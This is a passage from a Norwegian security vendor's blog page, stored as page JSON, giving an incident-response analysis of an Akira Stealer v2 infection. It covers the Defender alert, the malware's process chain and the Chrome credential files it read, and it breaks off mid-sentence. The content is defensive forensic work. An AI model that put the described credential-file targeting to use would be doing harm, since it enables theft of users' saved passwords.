[{"data":1,"prerenderedAt":15255},["ShallowReactive",2],{"sc:header-data-no":3,"sc:footer-data-no":489,"author-no-pascal-asch-1864737b7d2e83":519,"content-no-pascal-asch":549,"content-events-no-pascal-asch":15245,"authors_data:Pascal Asch":15246},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"no":13},{"title":14,"url":15,"alt":16},"Hjem","/no","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"no":21},{"title":22,"description":23},"Workplace","Microsoft 365-drevet for smarte, sikre og fleksible arbeidsplasser som samler moderne teknologi og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"no":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"no":34},{"title":35,"url":36},"Managed Intune","/no/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"no":40},{"title":41,"url":42},"Managed Entra","/no/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"no":46},{"title":47,"url":48},"Managed Workplace","/no/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"no":52},{"title":53,"url":54},"Consulting Services","/no/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"no":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"no":64},{"title":65,"url":66},"Microsoft Entra Suite","/no/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"no":70},{"title":71,"url":72},"Microsoft Intune","/no/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"no":76},{"title":77,"url":78},"Microsoft Windows","/no/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"no":82},{"title":83,"url":84},"Windows 365 Cloud PC","/no/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"no":88},{"title":89,"url":90},"Cloud Workplace Foundation","/no/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"no":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"no":100},{"title":101,"url":102},"Microsoft 365 Copilot","/no/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"no":106},{"title":107,"url":108},"Teams","/no/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"no":112},{"title":113,"url":114},"SharePoint & Power Platform","/no/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"no":118},{"title":119,"url":120},"Exchange Online","/no/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"no":124},{"title":125,"url":126},"Information Protection & Compliance","/no/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"no":130},{"title":131,"description":132},"Azure","Driv vekst med Azure: kutt cloud-kostnader, øk effektiviteten og skap innovasjon gjennom IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"no":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"no":142},{"title":143,"url":144},"Azure Managed Services","/no/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"no":148},{"title":149,"url":150},"Azure Consulting","/no/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"no":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"no":160},{"title":161,"url":162},"Planlegg cloud-en din","/no/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"no":166},{"title":167,"url":168},"Migrer til cloud","/no/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"no":172},{"title":173,"url":174},"Forny virksomheten din","/no/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"no":178},{"title":179,"url":180},"Tenk nytt om VMware-strategien din","/no/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"no":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"no":190},{"title":191,"url":192},"Azure Foundation","/no/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"no":196},{"title":197,"url":198},"Azure AI Foundation","/no/azure/azure-ai-foundation",{"name":86,"languages":200},{"no":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"no":205},{"title":206,"url":207},"Azure Data Foundation","/no/azure/azure-data-foundation",{"name":188,"languages":209},{"no":210},{"title":211,"url":212},"Azure Container Foundation","/no/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"no":216},{"title":217,"url":218},"Managed Dark Tenant","/no/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"no":222},{"title":223,"url":224},"Cloud Adoption Framework","/no/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"no":228},{"title":229,"url":230},"Cloud Competence Center","/no/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"no":234},{"title":235,"description":236,"emergency":237},"Security","Årvåkenhet i cloud med en prisbelønt 24/7 managed service, incident response og moderne beskyttelse av infrastrukturen din.",{"text":238,"href":239,"skin":240,"icon":241},"Under angrep?","/no/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"no":249},{"title":250,"url":251},"Managed Red Tenant","/no/security/managed-red-tenant",{"name":214,"languages":253},{"no":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"no":259},{"title":260,"url":261},"Sentinel Data Lake","/no/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"no":265},{"title":266,"url":267},"Security Consulting","/no/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"no":274},{"title":275,"url":276},"Cloud Security Operations Center","/no/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"no":280},{"title":281,"url":282},"Global Secure Access","/no/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"no":286},{"title":287,"url":288},"MyWorkID","/no/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"no":295},{"title":296,"url":297},"Preventive Services","/no/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"no":301},{"title":302,"url":303},"Data Security Service","/no/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"no":307},{"title":308,"url":309},"Security Copilot Agents","/no/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"no":313},{"title":314,"url":315},"Innføre NIS2","/no/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"no":319},{"title":320,"description":321},"Produkter","Innovative tilleggsprodukter for et fullstendig sikkert, 100 % cloud-native Microsoft-miljø som styrker samarbeid, nettverksautentisering og programvarehåndtering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"no":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloud-basert programvaredistribusjon",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"no":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Sertifikatdistribusjon fra cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"no":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Jobb med dine lokale office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"no":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrer dataene dine fra én server til en annen",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"no":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"no":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering for nettverket ditt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"no":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finn kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"no":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvåking i sanntid",{"name":396,"languages":397},"casestudies",{"no":398},{"title":399,"url":400,"description":401},"Case Studies","/no/casestudies","Pioner i cloud: din fremste Microsoft-partner for omfattende cloud-løsninger med en Blueprint-basert tilnærming og Infrastructure-as-Code-kompetanse.",{"name":403,"languages":404,"children":407},"company",{"no":405},{"title":406,"description":401},"Selskap",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"no":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"no":417},{"title":418,"url":419},"Fakta og tall","/no/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"no":423},{"title":424,"url":425},"Kontakt og lokasjoner","/no/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"no":429},{"title":430,"url":431},"glueckkanja Sveits","/no/company/switzerland",{"name":433,"languages":434},"austria",{"no":435},{"title":436,"url":437},"glueckkanja Østerrike","/no/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"no":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"no":447},{"title":448,"url":449},"Karriereoversikt","/no/career",{"name":451,"languages":452},"company-young-professionals",{"no":453},{"title":454,"url":455},"Young Professionals","/no/young-professionals",{"name":457,"languages":458},"company-jobs",{"no":459},{"title":460,"url":461},"Ledige stillinger","/no/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"no":465},{"title":466},"Siste nytt",[468,474],{"name":469,"languages":470},"company-blog",{"no":471},{"title":472,"url":473},"Blogg","/no/blog",{"name":469,"languages":475},{"no":476},{"title":477,"url":478},"Arrangementer","/no/events",[480],{"name":481,"languages":482},"career-meta",{"no":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"no":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Personvern","/no/privacy",{"title":514,"url":515},"Juridisk informasjon","/no/imprint",{"title":517,"url":518},"Ingen cookies","/no/cookies",{"id":520,"title":521,"body":522,"description":528,"extension":533,"meta":534,"name":521,"navigation":325,"otherLanguages":535,"path":545,"seo":546,"stem":547,"__hash__":548},"authors/pascal-asch.md","Pascal Asch",{"type":523,"value":524,"toc":529},"minimal",[525],[526,527,528],"p",{},"Pascal Asch ist Teil des Cyber Security Operations Centers (CSOC) von glueckkanja und auf die Analyse und Abwehr komplexer Bedrohungslagen spezialisiert. Sein Schwerpunkt liegt auf Incident Response, Threat Hunting und Malware-Analyse im Microsoft-Umfeld. Dabei verbindet er tiefgehendes technisches Know-how mit einem klaren Blick für forensische Zusammenhänge – von der ersten Auffälligkeit bis zur vollständigen Aufklärung eines Angriffs.",{"title":530,"searchDepth":531,"depth":531,"links":532},"",2,[],"md",{},{"en":536,"es":537,"sv":538,"fi":539,"da":540,"ko":541,"nl":542,"no":543,"ja":544},"Pascal Asch is part of the Cyber Security Operations Center (CSOC) at glueckkanja, specializing in the analysis and mitigation of complex threat scenarios. His focus lies in incident response, threat hunting, and malware analysis within Microsoft environments. He combines deep technical expertise with a sharp forensic mindset – from the first anomaly to the full resolution of an attack.","Pascal Asch forma parte del Cyber Security Operations Center (CSOC) de glueckkanja y está especializado en el análisis y la defensa frente a situaciones de amenaza complejas. Su enfoque se centra en Incident Response, Threat Hunting y análisis de malware en el entorno de Microsoft. Combina un profundo conocimiento técnico con una visión clara de las relaciones forenses, desde el primer indicio hasta el esclarecimiento completo de un ataque.","Pascal Asch är en del av glueckkanjas Cyber Security Operations Center (CSOC) och specialiserad på analys och avvärjning av komplexa hotbilder. Hans fokus ligger på Incident Response, Threat Hunting och malware-analys i Microsoft-miljö. Han förenar djup teknisk kompetens med en tydlig blick för forensiska samband, från den första avvikelsen till fullständig utredning av en attack.","Pascal Asch työskentelee glueckkanjan Cyber Security Operations Centerissä (CSOC) ja on erikoistunut monimutkaisten uhkatilanteiden analysointiin ja torjuntaan. Hänen painopisteenään ovat Incident Response, Threat Hunting ja haittaohjelma-analyysi Microsoft-ympäristössä. Hän yhdistää syvän teknisen osaamisen selkeään näkemykseen forensisista yhteyksistä ensimmäisestä poikkeamasta hyökkäyksen täydelliseen selvittämiseen.","Pascal Asch er en del af glueckkanjas Cyber Security Operations Center (CSOC) og specialiseret i analyse og afværgning af komplekse trusselsbilleder. Hans fokus ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dybdegående teknisk knowhow med et klart blik for forensiske sammenhænge, fra den første anomali til den fuldstændige opklaring af et angreb.","Pascal Asch은 glueckkanja의 Cyber Security Operations Center(CSOC) 소속으로 복잡한 위협 상황의 분석과 방어를 전문으로 합니다. 그의 중점 분야는 Microsoft 환경에서의 Incident Response, Threat Hunting, 멀웨어 분석입니다. 그는 깊이 있는 기술적 노하우와 포렌식 맥락에 대한 명확한 시각을 결합하여, 최초의 이상 징후부터 공격의 완전한 규명에 이르기까지 대응합니다.","Pascal Asch is onderdeel van het Cyber Security Operations Center (CSOC) van glueckkanja en gespecialiseerd in de analyse en afweer van complexe dreigingssituaties. Zijn focus ligt op incident response, threat hunting en malware-analyse binnen het Microsoft-landschap. Daarbij combineert hij diepgaande technische kennis met een scherp oog voor forensische samenhang, van de eerste afwijking tot de volledige reconstructie van een aanval.","Pascal Asch er en del av Cyber Security Operations Center (CSOC) hos glueckkanja og spesialisert på analyse og avverging av komplekse trusselsituasjoner. Tyngdepunktet ligger på Incident Response, Threat Hunting og malware-analyse i Microsoft-miljøet. Han kombinerer dyp teknisk kompetanse med et klart blikk for forensiske sammenhenger, fra første avvik til fullstendig oppklaring av et angrep.","Pascal AschはglueckkanjaのCyber Security Operations Center（CSOC）のメンバーで、複雑な脅威状況の分析と防御を専門としています。重点はMicrosoft環境におけるIncident Response、Threat Hunting、マルウェア解析です。深い技術的知見と、フォレンジックの文脈を見通す視点を組み合わせ、最初の兆候から攻撃の全容解明までを担います。","/pascal-asch",{"title":521,"description":528},"pascal-asch","h9IFki986nfubTkh2vFlR-qx4IOL2kjI9sufDTKc3ao",[550,13090],{"id":551,"title":552,"author":553,"body":554,"cta":494,"description":563,"eventid":494,"extension":533,"hideInRecent":484,"layout":12964,"meta":12965,"moment":12969,"navigation":325,"path":13081,"seo":13082,"stem":13083,"tags":13084,"webcast":484,"__hash__":13089},"content_no/posts/2025-06-16-quiet-breach.md","Inne i Akira Stealer: En fullstendig teknisk analyse av en modulær stealer",[521],{"type":523,"value":555,"toc":12819},[556,561,564,572,575,594,597,615,624,627,630,654,662,673,680,683,686,701,708,711,714,728,732,734,740,745,748,751,763,772,779,782,788,791,795,797,802,809,812,816,818,821,847,853,859,863,865,868,872,874,877,879,885,888,893,896,906,909,912,932,935,942,949,951,957,960,966,969,1004,1007,1016,1022,1031,1034,1045,1048,1055,1057,1066,1076,1108,1114,1119,1141,1147,1150,1153,1159,1167,1174,1176,1179,1190,1193,1227,1233,1260,1269,1272,1277,1286,1288,1297,1303,1320,1323,1328,1362,1366,1369,1372,1378,1392,1398,1404,1406,1411,1415,1417,1497,1500,1504,1506,1511,1517,1522,1531,1536,1541,1552,1555,1560,1569,1575,1578,1582,1584,1595,1600,1622,1628,1637,1648,1655,1661,1665,1667,1673,1699,1702,1716,1719,1728,1731,1735,1737,1745,1748,1751,1764,1774,1781,1802,1805,1811,1815,1817,1820,1829,1841,1866,1872,1878,1881,1888,1891,1904,1911,1913,1920,1924,1926,1932,2030,2037,2044,2046,2049,2072,2075,2104,2107,2149,2152,2161,2164,2181,2187,2190,2199,2202,2215,2222,2226,2228,2234,2256,2263,2297,2300,2315,2322,2327,2338,2341,2345,2347,2350,2365,2372,2383,2393,2430,2437,2440,2444,2446,2452,2457,2497,2500,2515,2518,2527,2533,2536,2540,2542,2545,2554,2557,2604,2611,2615,2617,2623,2628,2657,2664,2666,2682,2686,2688,2691,2730,2736,2742,2746,2748,2767,2777,2784,2821,2828,2874,2882,2886,2888,2891,2919,2929,2936,2938,2943,2947,2949,2955,2959,2961,2968,2994,3001,3261,3264,3269,3272,3304,3309,3313,3315,3318,3322,3324,3327,3429,3432,3436,3438,3441,3604,3607,3630,3634,3636,3645,3890,3893,3922,3926,3928,3961,3964,3967,3997,4001,4003,4009,4014,4017,4035,4038,4046,4051,4054,4134,4142,4145,4151,4159,4163,4165,4171,4176,4179,4196,4203,4208,4214,4276,4290,4295,4301,4328,4331,4369,4372,4377,4380,4394,4398,4400,4405,4425,4432,4438,4440,4444,4446,4452,4456,4458,4462,4464,4469,4496,4502,4506,4508,4514,4531,4557,4564,4568,4570,4573,4582,4596,4599,4603,4605,4618,4621,4630,4636,4643,4645,4649,4651,4661,4665,4667,4673,4687,4702,4706,4708,4788,4791,4798,4800,4805,4863,4870,4995,4998,5143,5147,5149,5152,5206,5209,5213,5215,5222,5275,5278,5282,5284,5287,5339,5342,5346,5348,5355,5407,5410,5414,5416,5423,5464,5467,5471,5473,5480,5562,5565,5569,5571,5574,5621,5624,5629,5632,5635,5639,5641,5646,5652,5657,5663,5668,5674,5679,5685,5690,6091,6095,6097,6138,6142,6144,6152,6156,6158,6168,6173,6198,6219,6224,6310,6314,6316,6409,6412,6418,6425,6427,6430,6485,6540,6547,6549,6552,6587,6621,6628,6630,6633,6666,6700,6707,6709,6712,6781,6826,6833,6835,6838,6866,6897,6904,6906,6909,6937,6959,6969,6971,6974,6999,7036,7040,7042,7075,7079,7081,7084,7087,7090,7093,7096,7101,7126,7131,7161,7167,7176,7198,7407,7411,7413,7420,7518,7521,7525,7527,7534,7627,7637,7643,7646,7651,7657,7685,7690,7720,7774,7793,7796,7801,7850,7854,7856,7859,7863,7865,7871,7991,8011,8015,8017,8022,8096,8117,8121,8123,8126,8129,8132,8135,8234,8242,8246,8248,8253,8288,8310,8314,8316,8319,8322,8330,8333,8421,8435,8439,8441,8444,8447,8540,8546,8548,8553,8557,8559,8562,8627,8644,8647,8681,8684,8688,8690,8695,8709,8754,8780,8785,8798,8874,8929,8933,8935,8938,8944,8985,8995,9001,9011,9015,9017,9020,9049,9076,9081,9085,9087,9094,9101,9103,9108,9163,9191,9195,9197,9200,9265,9272,9311,9315,9317,9323,9338,9341,9376,9380,9382,9389,9433,9447,9453,9460,9462,9465,9469,9471,9474,9508,9511,9536,9540,9542,9547,9550,9574,9598,9602,9604,9607,9631,9635,9637,9640,9660,9664,9666,9669,9676,9789,9794,9839,9843,9845,9852,9886,9941,9946,9949,9953,9955,9958,9962,9964,9967,9973,9977,9979,9982,10037,10052,10056,10058,10069,10138,10147,10152,10155,10199,10201,10205,10207,10210,10299,10304,10433,10437,10439,10442,10447,10520,10538,10543,10563,10571,10576,10582,10597,10614,10620,10678,10698,10703,10720,10725,10769,10783,10786,10790,10792,10797,10801,10803,10810,10817,10821,10823,10934,10941,10945,10947,10953,10958,11040,11047,11054,11058,11060,11063,11092,11099,11103,11105,11109,11111,11118,11121,11124,11127,11272,11275,11279,11281,11284,11288,11290,11293,11328,11334,11338,11340,11343,11369,11372,11378,11382,11384,11389,11406,11412,11416,11418,11422,11424,11440,11463,11470,11486,11505,11508,11512,11514,11525,11529,11531,11965,11968,11972,11974,11980,11983,11986,11992,11995,12006,12012,12015,12020,12024,12026,12029,12034,12048,12052,12054,12351,12354,12358,12360,12472,12475,12479,12481,12536,12539,12543,12545,12709,12712,12716,12718,12759,12762,12766,12768,12771,12774,12777,12780,12783,12786,12791,12795,12797,12800,12803,12806,12809,12812,12815],[557,558,560],"h1",{"id":559},"prolog","Prolog",[526,562,563],{},"{: .h3-font-size}",[526,565,566,567,571],{},"Det begynte som så mange moderne angrep gjør: stille. En Defender-alert med lav konfidens, ",[568,569,570],"strong",{},"\"Suspicious sequence of exploration activities\"",", dukket opp under onboardingen av en ny kunde i vårt glueckkanja Cyber Security Operations Center (CSOC).",[526,573,574],{},"Det var ingen signaturtreff. Ingen malware-klassifisering. Ingen respons fra sanntidsbeskyttelsen. Bare én enkelt atferdskorrelasjon i Microsoft 365 Defender, begravd i støyen, og likevel umiskjennelig gal.",[526,576,577,578,582,583,586,587,590,591],{},"Mens jeg triagerte alerten, var det én bestemt handling som fanget oppmerksomheten min: ",[579,580,581],"code",{},"python.exe"," hadde åpnet både ",[579,584,585],{},"Login Data"," og ",[579,588,589],{},"Web Data"," i en Chromium-profil. Microsoft Defender eskalerte dette umiddelbart til en hendelse med høy alvorlighetsgrad, ",[568,592,593],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[526,595,596],{},"Dette var ingen falsk positiv. Det var toppen av noe dypere.",[526,598,599,600,603,604,607,608,611,612,614],{},"Da jeg sporet telemetrien bakover, fant jeg en generisk binary i oppstartsmappen, ",[579,601,602],{},"Updater.exe",", som startet en NodeJS-basert wrapper (",[579,605,606],{},"main.exe",") som kjørte en kommandolinje for å starte et skript ved navn ",[579,609,610],{},"astor.py"," via ",[579,613,581],{},".",[616,617,622],"pre",{"className":618,"code":620,"language":621,"meta":530},[619],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text",[579,623,620],{"__ignoreMap":530},[526,625,626],{},"Skriptet skrapet ikke bare credentials, det kjørte en sekvens med rekognoseringssteg etter kompromitteringen, blant annet registerspørringer, systemfingeravtrykk og rettighetsbevisst enumerering. Det arbeidet med kirurgisk presisjon og etterlignet systemets egen atferd for å unngå deteksjon. Og det virket, nesten.",[526,628,629],{},"Ved første respons var situasjonen slik:",[631,632,633,643,651],"ul",{},[634,635,636,638,639,642],"li",{},[579,637,602],{}," ble flagget av bare ",[568,640,641],{},"1 av 69"," motorer på VirusTotal.",[634,644,645,647,648,650],{},[579,646,606],{},", ",[579,649,610],{}," og alle tilhørende komponenter ble praktisk talt ikke flagget på VirusTotal.",[634,652,653],{},"Ingen filer var signert. Ingen forhøyet kontekst. Bare \"vanlige\" prosesser som gjorde svært uvanlige ting.",[526,655,656,658,659,661],{},[579,657,602],{}," rørte ikke credentials. Den oppgaven var reservert for ",[579,660,610],{},", Python-payloaden som kjørte i minnet, en fil som etter design nesten ikke etterlot spor.",[526,663,664,665,668,669,672],{},"I løpet av ",[568,666,667],{},"21 minutter"," var det berørte systemet isolert fra nettverket. I løpet av ",[568,670,671],{},"70 minutter"," var credentials rotert på tvers av alle berørte områder: interne identiteter, SaaS-plattformer, tredjepartstjenester.",[526,674,675,676,679],{},"Men det virkelige vendepunktet kom da vi hentet ut og dekrypterte Python-payloaden i sin helhet. Det vi fant, var ingen generisk stealer, det var en skreddersydd utrulling av ",[568,677,678],{},"Akira Stealer v2",", en kommersielt distribuert malware-familie som selges via Telegram.",[526,681,682],{},"Takket være vår egen threat intelligence og reverse engineering-kompetanse kunne vi rekonstruere hele funksjonaliteten til denne malwaren, hente ut alle innebygde indikatorer og forstå logikken for staging, eksfiltrering og utvelgelse av credentials i detalj.",[526,684,685],{},"Enda viktigere: vi stoppet ikke ved teknisk attribusjon. Vi gikk lenger.",[526,687,688,689,692,693,696,697,700],{},"Vi kunne gi kunden et ",[568,690,691],{},"komplett datasett over eksfiltrerte credentials",": over ",[568,694,695],{},"100 unike kombinasjoner av brukernavn og passord",", inkludert tilgang til skytjenester, CRM-systemer, interne plattformer og til og med personlige verktøy som nøkkelmedarbeidere brukte. Tyveriet hadde pågått i ",[568,698,699],{},"flere måneder",", og vi kunne gjøre rede for alt sammen.",[526,702,703,704,707],{},"Med innsiktene fra denne saken bygde vi et ",[568,705,706],{},"analyseverktøy for tiden etter infeksjonen"," som skanner berørte systemer, rekonstruerer mønstrene for tilgang til credentials og genererer detaljerte forensiske rapporter, som viser nøyaktig hva som ble stjålet, når og hvorfra.",[526,709,710],{},"Vi gir deg et glimt av den skanneren mot slutten av rapporten.",[526,712,713],{},"For dette er mer enn bare en hendelse.\nSlik etterforsker vi. Slik beskytter vi.",[526,715,716,724,727],{},[568,717,718,719,614],{},"Velkommen til ",[720,721,723],"a",{"href":722},"/no/security/cloud-security-operations-center/","glueckkanja CSOC",[725,726],"br",{},"\nSlik jobber vi, for innbrudd venter ikke.",[557,729,731],{"id":730},"_1-opprinnelig-hendelse-og-oppsummert-triage","1. Opprinnelig hendelse og oppsummert triage",[526,733,563],{},[526,735,736,737,739],{},"Den 31. mars 2025 genererte Microsoft Defender for Endpoint en alert med etiketten ",[568,738,570],{}," på et Windows 10 64-bits endpoint. Jeg startet triagen ut fra dette signalet og gjennomgikk det berørte systemet ved hjelp av prosesstreet, systemets tidslinje og bevisene Defender hadde korrelert.",[741,742,744],"h2",{"id":743},"_11-tidslinjebasert-triage","1.1 Tidslinjebasert triage",[526,746,747],{},"{: .h4-font-size}",[526,749,750],{},"Alerten pekte på en sekvens av prosesser som fortjente nærmere inspeksjon. I den første gjennomgangen observerte jeg følgende tilgangsmønstre til Chrome-nettleserdata i den lokale brukerprofilen:",[631,752,753,758],{},[634,754,755],{},[579,756,757],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[634,759,760],{},[579,761,762],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[526,764,765,766,768,769,771],{},"Disse tilgangene ble initiert av en prosess ved navn ",[579,767,602],{},". Selv om Microsoft Defender ikke hadde flagget denne binaryen ut fra heuristisk eller atferdsbasert analyse, fant jeg en deteksjon for ",[579,770,602],{}," på VirusTotal, flagget av én enkelt motor på det tidspunktet.",[526,773,774],{},[775,776],"img",{"alt":777,"src":778},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[526,780,781],{},"Hele den observerte kjøringskjeden så slik ut:",[616,783,786],{"className":784,"code":785,"language":621,"meta":530},[619],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[579,787,785],{"__ignoreMap":530},[526,789,790],{},"På dette stadiet var det ikke gjort noen dypere statisk eller dynamisk analyse av filene som var involvert. Fokuset mitt lå på å forstå atferden og konteksten på overordnet nivå. Prosessnavnene og filstiene var generiske, og det fantes ingen mistenkelige kommandolinjeargumenter utover den kjedede Python-kjøringen.",[741,792,794],{"id":793},"_12-første-respons","1.2 Første respons",[526,796,747],{},[526,798,664,799,801],{},[568,800,667],{}," etter den første alerten satte jeg i gang isolering av verten med isoleringsfunksjonene i Defender for Endpoint. Målet var å hindre videre spredning eller eksfiltrering.",[526,803,804,805,808],{},"I løpet av de første ",[568,806,807],{},"70 minuttene"," gikk vi videre med å rotere de credentials vi visste ble brukt på den berørte verten, noe som dekket interne systemer, SaaS-plattformer og kritiske tredjepartsleverandører.",[526,810,811],{},"Reverse engineering-arbeidet startet etter den første inneslutningen. De følgende avsnittene dokumenterer den tekniske dybdeanalysen som fulgte for å etterforske innbruddet.",[741,813,815],{"id":814},"_13-oppsummert-respons-rask-transparent-effektdrevet","1.3 Oppsummert respons: rask, transparent, effektdrevet",[526,817,747],{},[526,819,820],{},"Responsen vår kombinerte tempo, fagkunnskap og operativ gjennomføring, understøttet av innarbeidede arbeidsflyter og full innsikt for kunden.",[631,822,823,829,835,841],{},[634,824,825,828],{},[568,826,827],{},"Fra deteksjon til full inneslutning på under 90 minutter","\nDefender-alerter, nettverksisolering, antivirusskanning og tilbakekalling av credentials ble utført raskt og samordnet.",[634,830,831,834],{},[568,832,833],{},"Forensisk dybderespons innen 48 timer","\nInkludert full disk- og minneanalyse, gjennomgang av nettleserartefakter, deteksjon av credential dumping og atferdsmessig rekonstruksjon av angriperens aktivitet.",[634,836,837,840],{},[568,838,839],{},"Sikker datagjenoppretting og bevishåndtering","\nDe stjålne dataene, blant annet cookies, passord, tokens og nettleserprofiler, ble gjenopprettet, forensisk arkivert og overlevert sikkert til kunden.",[634,842,843,846],{},[568,844,845],{},"Full innsikt og kommunikasjon hele veien","\nHvert steg, fra første alert til utbedring og debrief, ble dokumentert i sin helhet, delt i sanntid og oppsummert i en strukturert CSIRT-overlevering.",[848,849,850],"blockquote",{},[526,851,852],{},"Denne hendelsen viser hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer virkningene av den, gir kundene våre kontrollen tilbake og gjør hver hendelse om til 